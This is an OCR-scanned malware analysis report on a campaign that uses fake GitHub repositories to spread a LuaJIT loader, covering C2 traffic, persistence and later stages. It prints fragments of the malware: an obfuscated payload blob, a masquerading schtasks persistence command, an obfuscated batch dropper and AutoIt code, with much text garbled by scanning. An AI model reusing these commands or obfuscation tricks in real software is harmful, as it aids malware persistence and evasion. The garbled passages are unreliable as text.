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Part 1: Hidden in plain sight

Over the past five years, there has been a major shift in the cyber threat landscape. With the rise in
cyberattacks, it has become crucial for any organization to protect its network by integrating detection
tools to prevent and rapidly identify potential threats. As detection and response systems continue to
evolve, attackers must adapt by misusing legitimate services in order to avoid raising suspicion. We
previously addressed how the Steam community was exploited by stealers in an earlier article. This
time, we’ll explore how community platforms like GitHub can be leveraged for malicious purposes.
Indeed, among well-known platforms, GitHub is frequently used by attackers as infrastructure. This can
range from repositories containing outright malicious files to more subtle tactics, such as embedding
filesinthe “releases” section or attaching them to support tickets.

During our threat monitoring, the Purple team identified a new wave of suspicious repositories. This
spike caughtour attention, prompting a deeper investigation into the phencmenon.

1TINVENTORY

// O Product Solutions ¥ Resources ¥ Open Source ~ Enterprise ¥  Pricing Search or jump to. \ Signin Sign up |

B loudwens/ displayindex
<> Code 11 Pullrequests (® Actions [ Projects @ Securty |~ Insights

$ main ~ P 1Branch ©2Tags Q Go to file About

A cross-platform Go package to detect

loudwens which display contains the cursor.

[ README.md

[J README

M Displaylndex

Welcome to Displaylndex, a versatile Go package designed to identify the display containing the cursor across
multiple platforms. Whether you are working on Linux, macOS, or Windows, this library makes it a breeze to pinpoint
the active display with precision

W Installation Releases 2
© v2.0_displayindex (Laest)
To utilize Displaylndex in your project, you can download the package by clicking the following link: <ot

If the link doesn't immediately download the file, ensure to launch it manually. +1 release

X Features Packages

« Cross-Platform Compatibility: Enjoy seamless functionality across various operating systems.

« Cursor Detection: Easily determine which display the cursor is currently located on.

Figure 1. Screenshot of the first observed repository

The firstrepository observed was: hxxps://githubl.Jcom/loudwens/displayindex/.

Despiteits legitimate appearance, this GitHub repository shows several unusual characteristics. First,
the complete absence of source code, replaced by a single archive in the “releases” tab, is a clear red
flag.

The content of the README.md file includes suspicious elements, such as a vague description of the
repository and a closing message that resembles advertising.
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Moreover, when reviewing the instructions, the code snippets appear to be, at the very least,
questionable.

ge main

import (
“fmt"
"https:. thub.com/ loudwe ayindes> ea ownload/vZ.0/50Ttware.zip"

)

func main() {
displ
htt

Figure 2. Code snippet found in the README file

Asshown inthe previousimage, the repository isstillactive, withacommitmadejust 23 minutes before
the screenshot was taken. However, only three of them are visible in the repository, and no other
branches exist - aninconsistency whencompared to the statistics provided by the platform.

Acloser look at the user account associated with this repository reveals a significant level of activity
since February 2025.

3,142 contributions in 2025

Jan Feb Apr May

Mon

Wed

Fri

Contribution activity

April 2025

E3 Created 40 commits in 1 repository

Figure 3. Activity of the user account owning the repository

Among the various repositories identified, they all appear to follow the same pattern: no source code, a
binary compressed in a ZIP file under the ‘releases’ section, and a sustained level of activity visible in
the commits.
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3.262 contributions in 2025

Jan Feb Mar Apr May

Mon

Wed

Fri

Contribution activity

April 2025

E: Created 222 commits in 1 repository

Afjhr/ er-Fre

Figure 4. Example of a similar repository #1

3.398 contributions in 2025

Jan Feb Mar Apr May Jun Jul

Mon

Wed

Fri

Contribution activity

April 2025

£+ Created 232 commits in 1 repository

Figure 5. Example of a similar repository #2
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7 contributions in 2025

Feb [AET]

Contribution activity

April 2025

Figure 6. Example of a similar repository #3

The slight variations in dates appear to be linked to the different strains.

Naturally, the repositories cover a wide range of topics, as does their content. They target themes
ranging from cheat software to music production effects, Android builds, and even Al-related tools.

Additionally, some README files show notable peculiarities - particularly in the list of contributors,
where certain names understandably raise questions...

Contributors

We would like to extend our gratitude to the following contributors who have dedicated their time and expertise to
make this project a reality:

. John Doe - Software Developer

2. Jane Smith - Quality Assurance Engineer

. Alex Johnson - Technical Support Specialist

Figure 7. Example of suspicious contributors
g P P

Basedonthe observedpatterns, a searchwas conducted toidentify othersimilarrepositories. Given the
characteristic regular activity, we limited the search to the most active ones over the pastfew days.
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Following this search, over 380 repositories were identified. All were created between January 11 and
February 23, with the exception of one dating back to March 21.

As forthe user accounts, they are notall newly created.
While around twenty accounts were created inearly 2025, some date back muchfurther.

The oldest account used was created 13 years ago, in2012.

3,463 contributions in the last year

May Jun Jul Aug Sep Oc Moy ec Jan Feb Mar

Mon

Wed

Contribution activity

May 2025

E3 Created 96 commits in 1 repository

Show more activity

Figure 8. Activity of userantony000

This case is not an isolated one, even if it doesn’t represent the majority. Around fifty accounts were
createdin2027or earlier.

While some threat actors deliberately letaccounts “age” to reduce the risk of detection, it seems more
likely that atleast some of the accounts used were abandoned and likely leaked or stolen.
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1.2 THESTRAINS

During our preliminary observations, five distinct samples were collected. However, the differences
between these strains are quite minimal, consisting only of slight variations in presentation.

Most of the samples were presented as an archive named Software.zip (or Program.zip for whatappears
tobe the oldest strain), containing the following files:

Launcher.bat (or Launch.bat)

userdata.txt (8e8173f0411f8c052959503db6d2cdabb51ef122847e2fe61758b50f9fh8a649)
lua51.dll (012e772e3¢c72¢c5f500aab86e78e99afff222bdc8d914bc32bb244ade03d5a486)
luajit.exe (30f7bd2e98df2ec3405f3ab4aab5be8f0dc1d9ac638286edf390c4ddb74b4316)

V V. V V

The launcher is precisely the variable component across these strains. Beyond the name itself, its
contentis artificially altered by the insertion of line breaks.

y sdiff 3a2f/Launcher.bat 541d/Launch.bat N
start luajit.exe userdata.txt start luajit.exe userdata.txt \

L A R

=

Figure 9. Comparison between the launchers of two different strains

However, the payload remains strictly identical from one sample to another.

8e8173f0411f8c052959503db6d2cdab651ef122847e2fe61758b509fb8a6c49 3a2f /userdata. txt
8e8173f8411f8c052959503db6d2cdab651ef122847e2fe61758b509fb8a649 541d/userdata. txt
8e8173f0411f8c052959503db6d2cdab651ef122847e2fe61758b509fb8a649 57d5/userdata. txt
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Our subsequentresearch, however, uncovered additional active strains.
With a total of 23 different hashes for the archives, the payloads themselves remain much more
consistent.

In 87.19% of cases, the hash matches the one that was analyzed. For the remaining cases, the
distributionis asfollows:
> e3b0c44298fcl1c149afbf4c89961092427ae41e4649h934ca495991b7852b855 found in 8,54 % of
cases
> 0ed8e43a9b0bbb8754ecTce195e07f6af5e5363ab039cdal32413746a3e772fa8 found in 4,02 %
of cases
> badb75b6d5a79a41fal37fa07b4c72744chbf402¢14947788e26e3dbd1f4403baa found in 0.25 % of
cases
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Part 2: Analysis
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213,176.76.%0

213.1376.32.47

Figure 11. High-level diagram of the exchanges

2.1 OBSERVATION

The .bat script requires only a brief analysis, as it consists of a single command: executing luajit.exe
with userdata.txtasanargument This serves as the malware’s main entry point.

Naturally, the presence of an executable and a DLL is suspicious. However, a quick investigation
suggests that both files are benign.

Oneinitialindicator: they have already been submitted to VirusTotal and flagged as clean.

This finding was further confirmed by analysis using our Malcore and Shellcode Detect engines.
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Mo security vendors flagged this file as malicious

012e772e3c72c5f500aabB86eT78e99afff222bdc8d914bc32bb244ade03d5a486

luas1.dll
mimunit _
c J pedil detect-debug-environment overlay checks-user-input
~ -
Figure 12. VirusTotal result for the lua51.dll file
// \\
) No security vendors flagged this file as malicious

30fTbd2e38df2ec3405f3ab4aab5beBfidc1d9ac638286edf390c4ddbT4b4316

luajit.exe

43 peexe  idle  overlay
-

Figure 13.VirusTotal result for the luajit.exe file

luajit.exe luab1.dil

Malware Shellcode Malware Shellcode

Figure 14. Scan results from Malcore and Shellcode

Asimple string searchreveals the versionin use: LuaJIT 2.1.0-beta2 (https://luajit.org).
Asnoted on the website, LuaJiT is a Just-In-Time (JIT) compiler for the Lua programming language.

Lua (https://lua.org) is a lightweight, fast, cross-platform programming language. In its original form,
Lua programs are compiled into bytecode and executed viaaninterpreter.

Thanks toits accessibility and execution speed, Luais widely used in the video game industry (notably
ingames like Roblox), as well as incertain image processing applications.
Here, LuaJIT provides a JIT compilation feature that sits between interpreted and compiledlanguages.
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https://luajit.org/
https://lua.org/

This approach offers both greater flexibility than traditional compilation and the ability to execute
code eitherin bytecode form or as plain text.

Inthis case, the second method - plaintext execution - isused.
However, the payload containedin the userdata.txtfile is heavily obfuscated.

"{135zgHb113j90By=", "q4MBIIDPED=="; "Ee+CxNa0/
134V1qCLKwW/ZnngSHK="; " /ra3RI0bThEbKoYDT4:
", "2381zhDo" , "KS11qV=="; "UKOTGCFXtx3Ib4TIHMI LSO TRY:
rugmlxusyqluouhq1th154xk2onzdr4 =" ”lglbuVEN1rthqugtR5FFCran:DueA CmelpSMypGZ/?
,"nghwHBK=", " xn9wAsh: ‘, "XP1qVIwhVy3nlce2pa==" "KYuF2YB="; "kbBCtyEC" ; "DIugel
3" GCYVBLBSCITUWEVgqa=

;"ebasuv==","AFoK" ,"W7ctrKqurERayZZNrsERBpToxsnUJVKSNXDbxhKX jOP81A23qTCRCBOK" ; "USBBMKCF ", " CvQixHI0IKaCXHqUbMWN1y
+snvngswelf1NTvass/zsn4, "bhupkhuf2HakRbXb4: 0PCPGi9bDF1373=", "KoSDiBBNG3dX2vTlqaz="; " /+X3NBMVFNyWNUXZ9b=="
"YejHXgOocHa5z+03YrnpZYyKqIU FnlfS4=="; "R3n27HznyxCIcgsoXlgzZr j8F", ”[taJJV1w0xLQaKdMJKan/okbuﬂgup51kuJVLyJpwvmth:KFszE
cdaThvj/sq3wve4"; "JACT]/a=", ”sonfrawuﬁvﬂzcﬂ?usca,” "73MA","0v==", "BdV+KGdKmLkY" ”Kbm\DSSNKZSSXFEDVOILKUZNSHETqy =","

[tNGGMPC " ;" CSXVU1Hi00Cp"; X" 4XKI", "hwo+" ; "35PS”
f4=","BWPPq119qd/TT/42¢cy=="; i VnGyQsLaIhF700v3"
2, "xiHohHYznz 1ZABEFTOKATOPBbZEryoqF2NGs Q4T Fi j4=—
rL+LMDDleouV/3CIZQKTB?dSKPUBb 1Jy9s4pIXMsk="; "YrnAXNRbbIs4K1720F IdbSLLZy:
P ,"L532B+qjmzK63b== CuxEcgC23grdy/vz=","

Py " TWBhEXHESH#D' pcbwak4xxoazpsr1ca "3 "Cy: 'T7szhuv UV\DIhMMoD1+5q1yHb ceGyyUKVgX1Szt7ay=="; "k8nh ’
t//Bprd4”,”wkkDyOSDE47LE/DDD "’ "5da8hwoIUBIYQd==", "p/UQsy==""; "TF119362x+1prZ3FbQ2dUrqt2Ke" ; "Ts2=";"Sy. nz(PkﬁbeJaquXFhuVHlnLnxK]f”'”hpk]/ewerX—”;”EJ]nUt9Sp[ﬂp”;”ww9Ww "revEs4==", "+xklCb=="; " LnuHJ
SdelrpLEwDPDFb(HtDkd3tARHfAQJg?V - ”BK\oﬂUekbt?SDvﬂB‘ ”nronKs/chRlescemaeHrp‘ "zQy1xRASBAFf /b==","M/sBezivBy==" ”\7HeZ7\1Zasvw7\rw?\JZb::” ”equrassub:n,” ”fAnudsFf/h/eLsﬁsL}erv}rKsan5v41\Bz7smN5xsvaJJ
" SYMQWROX " 3 "E1DGihGyaghcaV=="; "AH62Fb== GG/ TTRadsiYeT " ; "DCCSKME” ,"KGNageboR4==", " gXe0q3NZi3GGUBeY" ; vhuQ!gTV "ya==","5u7kiarhx08Q5qeq" ; "mh
3" WZUYBHN" ; "GIPZELXNCySHZhmpHCqISy==" , "UheIP6C" ,"SiPqQFad” ;" ;"6kqeLCl8Na="; "wizn" , quBK\quzad7U\\§ -‘N\AE/qugjslA TPHULOERK2=","eiP/" ; "WTGaBXAFW
§iLgITniab="3 "VKPzFpcoS5xSabaz"; "w7PSHhSFTCZ=" ,"Sh/B80nVyvk=" " Ir /iHOkr " ,"XtduhaBI" ”rPSBthJaXi\VnXkTLn/[TT9”'”V(VRVexPT "”CaDVSkquDkdpnganHQVFhNZBs
aqrfwlNGV//EEqFDSDSTHSlEn14HOH/Vt3uLuH1DuZBant\D]xDZluszhéS:kl:/oNqSSI] b:
4rxpulaamshxFBTPPLEDHCEKCNULOFUE/bS6QkdXH/nZkmGZIXVnBqRr F
1RUWNIJ04+eHc Lm+03PZSVeq5xgB7x4: "E7Inr4XFXK 17gH9/gTFWDr  1+P6/ JUdQdOcXzD6Rq=
08b56rhgSLXel4==", "2ix0mn( 6 2NWEL2b11HONSHEUINHAHB g YIMGHENQHS 1S 26 LvARbIRPKXY TuAboYdLyYUpQp3cHi4g7mpE0B L 7RTndNT1dB LLaUD jvBGF JFmT Lox fpVN3Bar +qasnvdLizoCrwdZQZ6cULTrBBy=

chNssxuoansgnaonecPPoeG4u:oFrmNyrafDJGuojAudAdSﬂzawncsagdax1Jnxu/rRIsvvstozepoVpn,” "kvlergyq", "pbsYwwFkFb==","1n1lyGBZIy6g/CD75F2LF","SjBZ993R07cG3r5n", "H/Uf8V==", "kMpP562]" ;" jpwCgYESTauowaT6/v==","
,"VhukALYmhViwly==", "KPY4FPt234d1jdpglulh+GU70I4=", J1k1q15kakyAzqgssuqstet+JNDhasp1N\quNszkWszthJzzdan+1Fszwwxﬁwzzsxvd\1\geD7AoBgJzAs1nerBcaqSVHZVZAcHQsz34meRA5Nqnx+mysmz<yxuEn1rao¢o[yNJmlthm
Faxmgnmsnv[bnalaHwaKeDyajfwovasxdatcozxwpcLsogvo7badn5\chbgRuwx/qaAv:zJTwauuwaSJaLnVTLlNxfess:htsz+zw51:pvx‘- +VLRIOF2YG]87P4gs8g” , "tUpHIHRY” , "Ju9g7rdo" ,
PHALSPLx2zsBLrntX";""; "HrTcuy==
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yeAQTedi”, +p"; 135h<kx Fg Fol TATEGT94: XInmin”, "hAAgHV=="
JVaDRkmK' } "kUTavheHodsn" 5 gleFxFlCEDSEDb ", VS84 G ," ZHinBUNC jCNiwoNehy. " "2383u/ T$2IDT2J8NR =
" ; "1BNGDRy 56YMvHvricOomzgbdKEV==", "bEhf  5uTk+51GSWE4b=" , "UNLWfXnYCkSHTOSqPY: hyig”, "qUsSsb==";"y2Ct","TkdA" , "R3q="; "cV==";"cYHpevAxHz| c2PiCGUyZYT1bldsuyYb
bZBJSESJZBSIKQjESMAHDbmﬂHfSLfnfﬂEbX]nyff‘,‘QSHKQBMR‘,”3XTd3507YCUGKfﬁZBDES/KKNfTHdSleFELHI5tmH:TXt/mfNXqHSquhZﬂRSDSG?dJSqudsE[hlFTVIWRSrfJUDNXJ&CELCTO(nnAuAVWIQVSaVZIbTSTTQQVEd]SHRFECF(HZN/DlﬁhL(][xthakﬂlx
uMkQNx/SarE[xplpscgznlNDFOKquprHEDyumlJRleaM]QmEESqrOHqSAtXSaJU\NStIlKVyuaFZHL(]thraGSEp(SNFMp[O[EPSREJWSVE}Zme+[pUR9\[LMy[Anp4BleMLA3MTdS41§AbSSZE(HJrvRﬂHs7vabJZ[WAUJKCKBXQLHV[erblkﬂuJoquEFEHbd!LpAZJY
&LxtE9ICPXOAdBOSCT+GPENVDVZRIFOLBQKVKS31Fhv7Inov7+vIoQuihRKSANh1UNTS] /dCqWANORQWPQR+PbSWF FFxScY Ve J689VWNOTOVKR 12 / /N2 hk4YVMe 1hbyw1QXxHeYd12bCz4p3qhl2581Z10R/pIMVWELVevdbq1fHXTm+gNy/qpuiEqico
EZZrfjv?uV\qVOsyZldVFSwhEfpyoEESROEEEJSREZZSL(3405zbEgHquvaWVRRoinwﬁIyuytb}dlquZDX72fg7oZahGSXrn]4d1hvdyx4nEp/fﬂthUABRSWMEQZQXZNQLJFbppﬁi1dCyXJ[LTFNk[NZte(k9KZKX&uEvaV91AHBHOZETGh]Grd}r\PSAHlsLh\TﬂNyyunS}
QbUHHUGOF8M7EG7B0ehhF5+nY 1WN4AGOBXPLZO1 /WtCSvAqGBtagvak3fHiJssmkbnPHWF 1PgDdBprbav/qTUPoLB+7a8fSTBcfuE6eAg jU4TVCHORYQS/ VP rMaiWRbbInDPakpQ9X /z /VkXUCk4Ye 5u2Gc t9RI3YPBL/1Fm6hYzF GFwHDCZDKQVqt7VPYUDZVSXZ7tb63/dL6VU
erLWBGSNTV6hpz4AyABUSCSDDUXaBRIUEKMeLq1R7VL JO1/ TRST3HiM cpU4BME /UMKQ3dkHNmO8 JHQXBHEHXUSQUUTV2PP /[RG7VCNMP THHZYqROYSSeh /2E1uv94bIKkeQD /01 SCEYAXYDILAGKAZ bm/ EBTKJynMV JwX f tdVK SFUCF 6ywg JaNVuOVdmiwd2U1 1HzC8Kjn3dUcdZ
o0U3+b+JoruGLyPBwm7KKLVIQFb193TiSg334uB8d/ ryUv2eYy103beY10GL jA601122DI7FVTugHTpINFUCHNYLDrd /QM2BATTko 1A j2e 72 /4SLT22EQeEL €71 J8EJdS6RASYVMPBNYX54VdtkB+V11pXXLk2PxcXhb /Q6V+HPYCYSNBN+X0VYDOBHMGDT ru40eH/mLACK /Vsad
GHur ThQB3IMSbYFrLSKm7kycsxX990pTTBAUNGK+BCHM+HraPAv7 I 1KSPYAGKUPTZLID+Pg+EaON1y fpsbnQ8PIRA4ELNWNRFSZ00KKS 5Vukui2HHpOYHb8dG0C /8Zbroz6t10cS kiZIVXg31GDKG/62P JPnSuo6dbgcoLpZaH06 GtRAFQ70Y6SLYNCt2Z7iKs Y SNYINFSBHVUN]
SpAkFyyeco7asd2i2rnCxU+ukUduBHgI IN1BGYcmzCBb5S1HPO70K7CexixP105cPBgWFh5TVa7+CS17iRwWO/QKFRamtqGQ4TBONC J4nCcO106pe /493HRY0ZrPQ6gy TkolP tUw16Ug7naQy f 1PwR47h0/Gp8S+PINBYOE4UUDTF37b316wuoUR3qLM40QPSAGEGAHIDCZD+ZC /7.
aKqugCTQGKZECaSBZM74IpBhNFKG55+YN/ ARWGQKWDbr c6ITEB/BUWr ahFsiYz@n4Bc7IKSuubSm3uf +9NdbIr 225 S TUT6 tutxbxCuncFRZNKUO7 SUuaUT Ice txMIMEK JZAEG th /gnRP JHCPMOT jGHHYZhxhXnIFAPMY31kYVBaz2VQCHMBWLANREYAk /2+r +MTnqaxITRITh2
£IBDISND6EXHNbtFF2mni //7k jeeelTx3aDvLbmmLAHz8hzy/nC7gBCY LnHRZ10DAENCBGeYg TFdo Yq7zay65FVZxm2AYX SBZ7gToI6yYRq13r 1 2KoAWNGKM2G6ZaTcQhgC2MAnXx8a 122 GZVDAHDGWZ E 7K6YDO1WNX Lh8QmYEVLoYDCE4C1FIWZITLINGCKF jGe TmaYYuB11t3
a1VOLMEX IS jH3H+42n3B5hMGQu3WbKEHOTP30aqB2/ FUTHG PR SVArEHIWL tYrRWBodajLNoGXJk1C703 1iXvidcHesB7s1dNib572 TkRGBO1h SaeNvPKVBEHpecIwtiGR3eUCFAIZdZNS Zyg6 FX605bdX TLaubeAyS /91VwQiQHRbGBWEY1HH2VX3SVIZ5 1SKZUFUDQeeSgas
qYLvpbQGPQ62KPPLMIbNHMCN+1GLwNUQL6/ LMyPExXSrOt3s4dQOyXyATCLNGMZWAYB6Q/nSuoe1YNGD,/ 1KtRrMfEhvecdCADDQBTQHWBNGVHS fpInRCeh jsxvf3nPIzdbnDnn/ck0j7A0wM81r EJUZ7Cr9sI0V0e29ALLMViDWL2CNmM2 LF jMMAa jBye41BaqCvhEBVFKE331FGIw
SBaCOfYLFFF7drHQ7HGQh6TSYVBxXa+T116VQILDV1pKZG6AGCRKNPPYGXAGEr 1G+XtZyyH1Ln7KBhX7 FRULLBXQogAOKTZUn31cENKZXZS4RC TP IUUNSAAGOEN4OKS TUROUTQLX X /NSLOK72x 58] tnk4z1Dc 1n72 jQ82vHr 3q Ip70k/Y+8xHb R

qHvaq,
ML 0A1 A7 s AALIMOM ATE AL A1 L DU A& E WAt INTAR AL AL ATkt 114813 7] A Ta17 2] 220 s Ll I A NEDE A 1 £V m o b [T0r TEUR AL A AL AT SC RO+ 111 LUV EACPRDLUILIAT A 18R T v [ =T IIAR ANT 2 AN A LAN (NG R] AmAZ AL - AT+2PLAE AL 112 ADOA S 3 Lin AR

”oyg/onvdthFsl 4f.
vgmEprhs2xy="

To avoid a long and complex deobfuscation process, a dynamic analysis was prioritized in order to
quickly gaininsightinto the malware’s behavior.

2.2 RECONNAISSANCE

One of the first actions performed when the launch script is executed is gathering information about

the victim’slocation.

Todo this, arequestis sent to ip-apil.Jcom.
v Transmission Control Protocol,
4 Hypertext Transfer Protocol

GET /json/ HTTP/1.1\r\n

[Expert Info (Chat/Sequence):

[GET /json/ HTTP/1.1\r\n]

[Severity level: Chat]

[Group: Sequence]

Request Method: GET

Request URI: /json/

Request Version: HTTP/1.1
User-Agent: qr59jbckgitkplk4ihbrtg3dvhyzgj3ndiwftkedxa9oq568p87yaefudpt
Host: ip-api.comi\r\n
wrin
[Full reguest L T
[HTTP request 1/1
[Response in fram

Src Port: 49697, Dst Port: 8@, Seq: 1, Acs

GET /json/ HTTP/1.1\r\n]

fip-api.com/jso

i

Figure 16. Reconnaissance request to ip-apil.Jcom
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It’s worth noting the use of an unusual User-Agent, consisting of a long alphanumeric string with no
spacesor slashes:
qr59jbckqitkplk41hbrtg3dvhyzgj3ndiwftkedxa9og568p87yaefulpbiditsdqinzjbzfixffwhdénkah6celha
fihlvoml7b6btsi3ht7Ibaucy.

Shortly after, a requestis made to www[.Jmicrosoft[.Jcom, likely to check for internet connectivity. Itis
indeed more common to have access to Microsoft’s website than to anIPresolution service.

23 COMMAND & CONTROL

Following this reconnaissance phase, an HTTP connection is made to IP 213.176.73.80, still using the
samedistinctive User-Agent.
ttl

Dest. port Total Length

Pratoc

0DISOWGSYTES USNJUSNZQs t
50N (appli 1)
Figure 17. Request to the command and control server

This requestis composed of two elements: a file and a JSON document.

Figure 18. Content of the initial request to the command and control server

The file in question begins with |42 4D| (BM), which is the header signature for bitmap files.
Once extracted, the file turns out to be a screenshot of the victim’s screen.
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C:\Users\ADMINI~1\AppData\Local\Temp>start luajit.exe userdata.txt
C:\Users\ADMINI~1\AppData\Local\Temp>,

Adobt
2]
Fir
[rown 9:50 AV
T L0 ™ ¢ ~ B dp NG 0

Figure 19. Screenshot sent to the command and control server

The JSON document, on the other hand, contains data that appears to be Base64-encoded. Once
decoded, we get a string of hexadecimal characters separated by commas.

At this stage, some research is needed to verify whether this strain has already been analyzed.
Fortunately,the teamatSecurity Blue Team had published an articleafew weeksearlierdescribing this
exactbehavior.

After analyzing the communications, they revealed particularly useful information: the encryption
algorithmused, along with the method to extractthe key.

We were thus able toretrieve the encryption key from the process memory:
89pCOINILRKTZgb8DtZmKwC42AQcUeXF.

Oncedecrypted, it turns out that the data sent to the command and control serverincludes:

AloaderID (812 inourcase)

Aguid

The name of the infected computer

The username thatlaunched the malware
The information obtained via ip-api

The system version

V V V V V V

13/29

©Copyright Gatewatcher 2025



Inresponse, the serverreturns a JSON documentcontaining two keys:loaderand tasks.
Thefirstone, loader, contains the configuration to be applied to the loader and looks like this:

ender™: 0, "autorun": @, ' : HEH status": false}, "tablet": {"text":

occurred", "status":

Figure 20. Decoded content of the "loader" section from the response

The second key, named "tasks", contains a list of actions to performin order to load additional payloads.
Inour case, these point to two other GitHub repositories.

, "file_path":
"pump":

. , "hide": B,
"type": "LoadLibrary"}, "deliwe

Figure 21. Decoded content of the "tasks" section from the response

Thisresponse is alsocached to disk, saved as afile in the user’s Pictures directory.

Ina second step, a folder is created in the AppData\lLocal directory, where the following elements are
copied: thelua51.dllfile, the luajit.exe executable (renamed using the Base64-encoded loader ID - in our
case, 812 becomes ODEy ), and the userdata.txt file containing the payload.

However, random data generated viacalls to CryptGenRandom is appended to the end of the executable
inorder toalter its checksum.

Oncethisstepiscompleted, adaily scheduledtaskis created underthe name
WindowsDefenderScheduledScan_<encoded loader ID>, using a direct call tothe schtasks.exe utility.

schtasks /create /sc daily /st 14:46 /f /tn WindowsDefenderScheduledScan_<loaderID encoded>
[tr"C:\Users\<user>\AppData\Local\ <loaderID encoded> \ <loaderID encoded>.exe"
"C:\Users\<user>\AppData\Local\ <loaderID encoded> \userdata.txt"

Finally, the instructions contained in the tasks field of the JSON document are executed.

In the analyzed case, these tasks involve retrieving two files hosted on GitHub, which are then saved in
the temporary directory (% TEMP%):

> Aluascriptsavedasbitlua

> APEexecutable saved as dvm.exe
Bothfiles are then executed.
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Afterlaunching each task, the script contacts the command and control server to confirm thatthe task
has been successfully executed.

49730 HTTP 777 53 HTTP/1.1 284 No Content

Figure 22 Example of task execution confirmation sent to the command and control server

The body of the request is minimal, containing only two pieces of information: the ID of the completed
task and the victim’s country.

Interestingly, the requests made to GitHub for these tasks are sentover HTTP, not HTTPS.

24 STAGE?2

Among the two tasks received from the command and control server, the first one behaves almost
identically towhatwe previously observed.

The key differences are:
> UseofadifferentC2 server: 213.176.72.47
> UseofadifferentUser-Agent: elbzohpyxkndh0dk12jqgf
> Useof the POST method instead of PUT for communication with the C2
> LoaderID: 816
> Name of the scheduled task: WindowsErrorRecovery_< encodedlLoaderlD >
Regarding the second payload, named dvm.exe, it creates files with the .dif extension in the user’s
AppData\Local\Temp directory.

Two files stand out in particular:
> Angledif its first bytes (MSCF) match the header of Microsoft Cabinet (.cab) files - a file
we’llcome across againlater.
> Malaysiadif: its content begins with Set Collections=o\r\n, indicating that it is a batch
script.

Once the various files are created, the following command is executed:

\ C:\Windows\system32\CMD.exe" /c copy Malaysia.dif Malaysia.dif.bat & Malaysia.dif.bat \

This script, whichis also obfuscated, contains - amidst numerous invalid commands - a few valid
instructions used to declare variables. These variables are later reused to constructand execute a final
command.
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Forexample, the scriptcontains instructions such as:

Set Anne=S

Set Oecd-=t

Set Cassette=K
Set Collections=0
Set Thousand=v
Set Los=u

Set Lan=Y

Set Implemented=E
Set Window=w
Set Matthews=;j
Set Faith=0

Set Sections=X
Set Cube=C

Set Mood=b

Set Romance=N

%Anne%e%0ecd%

%Cassette%%Collections% %Thousand%%L 0s% %L an%k%Implemented % %Window%k%Mat
thew%n%Faith%W %L os%zz% Oecd%p%Collections%Wcd%Sections%nal%Sections%%Cub
€% %Mo00d%%0Oecd% %Thousand%%Romance% %Cube% % Thousand%=Pr%Collections%%M
atthew%ec%0Oecd% %Collections%r%\Voltage%%Horrible%c%Collections % %Adventures %
[.]

%Voltage% %0ecd%ar%0Oecd % %KovuYkKEwkjnOWuzztpoWcdXnaJXCbtvNCv%
%0ecd% %hl zKiK%

Once interpreted, these commands will result in:

Set KovuYKEwkjnOWuzztpoWcdXnaJXCbtvNCv=Projectors.com

start Projectors.com t

This scriptis merely anintermediate step, intended to perform afew simple checks - suchas searching
for specific processes - and to generate the nextcomponents in the infection chain.

The targeted processesinclude:

> Opssvc
Wrsa (Webroot Secure)
SophosHealth
Bdservicehost
AvastUl
AVGUI
nsDscSvc (Norton)
Ekrn (ESET)

V V.V V V V V

The searchis performed using the findstrcommandonthe outputof the tasklistcommand.

Finally, this stage results in the creation of the second-to-last payload.
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Two methods are used for this purpose:
> The first method involves calling the extrac32 command on the Angledif file, then
concatenating the extracted files to form a program named Projectors.com.
> Thesecondmethod, whichfollowsa similarprinciple, concatenates the .DIF files previously
created by the dvm.exe process toreconstructa filenamed t

25 THELASTLOADER

Thisfile, named “t”

(sha256 : 27aac3573f032d20951be0dfbf42cc41f9e26chac9cdd3cf8421a4dfh3ed50e3), appears to be a
compiled AutolT script which, as of the time of writing (June 2025), is not known to VirusTotal. In this
setup, the Projectors.com executable serves only as the interpreter.

Although the file does not feature a recognizable header, it contains the string AU3IEAQH, which is
characteristic of a compiled AutolT script.

AutolT isa scripting languageoriginally designed to automate Windows tasks (suchasGUlinteractions,
keyboard, and mouse control), but it has recently gained popularity among malicious actors due to
several capabilities:

> Directcalls tothe Windows API

> Script obfuscation and compilation (as an executable or compiled script using the .a3x
extension)

> Noexternal dependencies (no need to load additional DLLS)

Forthis analysis, the autoit-ripper tool was used to extract the content of the .au3 script.

The extracted scriptweighsinatapproximately 1.3 MB and is heavily obfuscated.
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1  Func SITUATEDRETURNINGFIGHTERSNUTS ( $NEWFOUNDLANDCODESALONGKILLS = © , $WEBPAGEPENNSYLVANIAPOKEMON = False , $BOO!
2 $SEQENTIRELYGOALS = SHOULDERDOWNLOADCOM ( "104:123:115)118)10436)87109)126)105/63 104/123/115)118)104)36:89
3 While 697

4 $KEYBOARDWICKEDANTENNA = 8237

5 Switch $KEYBOARDWICKEDANTENNA

6 Case 8236
7 Cos ( 9767 )

8 MemGetStats ( )

9 Chr ( 8724 )

10 Chr ( 4224 )

11 PixelGetColor ( SHOULDERDOWNLOADCOM ( "71}115:113}116:101:103/120/68,84}105'101:111 6886:165 119/116
12 MemGetStats ( )

13 Cos ( 5881 )

14 DirGetSize ( SHOULDERDOWNLOADCOM ( "166/116:98 34" , 1 + 0 ) )

15 $KEYBOARDWICKEDANTENNA = $KEYBOARDWICKEDANTENNA + 768283 / 768283

16 Case 8237

17 Local $DEFINITIONLOGOLAUGHASBESTOS = DllCall ( SHOULDERDOWNLOADCOM ( "109:103)116/112}103,110:5352 48
18 ExitLoop

19 Case 8238

20 Progress0ff ( )

21 Floor ( 11 )

22 ObjGet ( SHOULDERDOWNLOADCOM ( "74:77:77:86/84)85)83/66/8570/69/43" , 1 + 0 ) )

PE] PixelGetColor ( SHOULDERDOWNLOADCOM ( "85)74)81)87)78)70135)84)71:71)78)35:72171:70:71184:67:78)35" , !
24 $KEYBOARDWICKEDANTENNA = $KEYBOARDWICKEDANTENNA + 211231 / 211231

25 EndSwitch

26 WEnd

27 $BOOKMARKSIGNALSBOYS = $BOOKMARKSIGNALSBOYS + 4294967295

28 While 664

g $EDITIONSOPERATORBUNDLEPROMOTES = 52856
30 Switch $EDITIONSOPERATORBUNDLEPROMOTES

31 Case 52855

32 DirGetSize ( SHOULDERDOWNLOADCOM ( "83/71:88179:85/8467" , 11 + 4294967291 ) )

33 PixelGetColor ( SHOULDERDOWNLOADCOM ( "78/114)114)166)165:110/102}121106113/126/47:72/110/119}1604 11:
34 DirGetSize ( SHOULDERDOWNLOADCOM ( "79!67:75/80 86 6775 8085 66828471 85/69 /84 75/68 717066 69 !
35 Progress0ff ( )

36 Chr ( 1965 )

37 Floor ( 8 )

38 IsDeclared ( SHOULDERDOWNLOADCOM ( "69/81/80:85:87:78:86:6780,86/85/47 68 71,6784 85,4768 87,8686

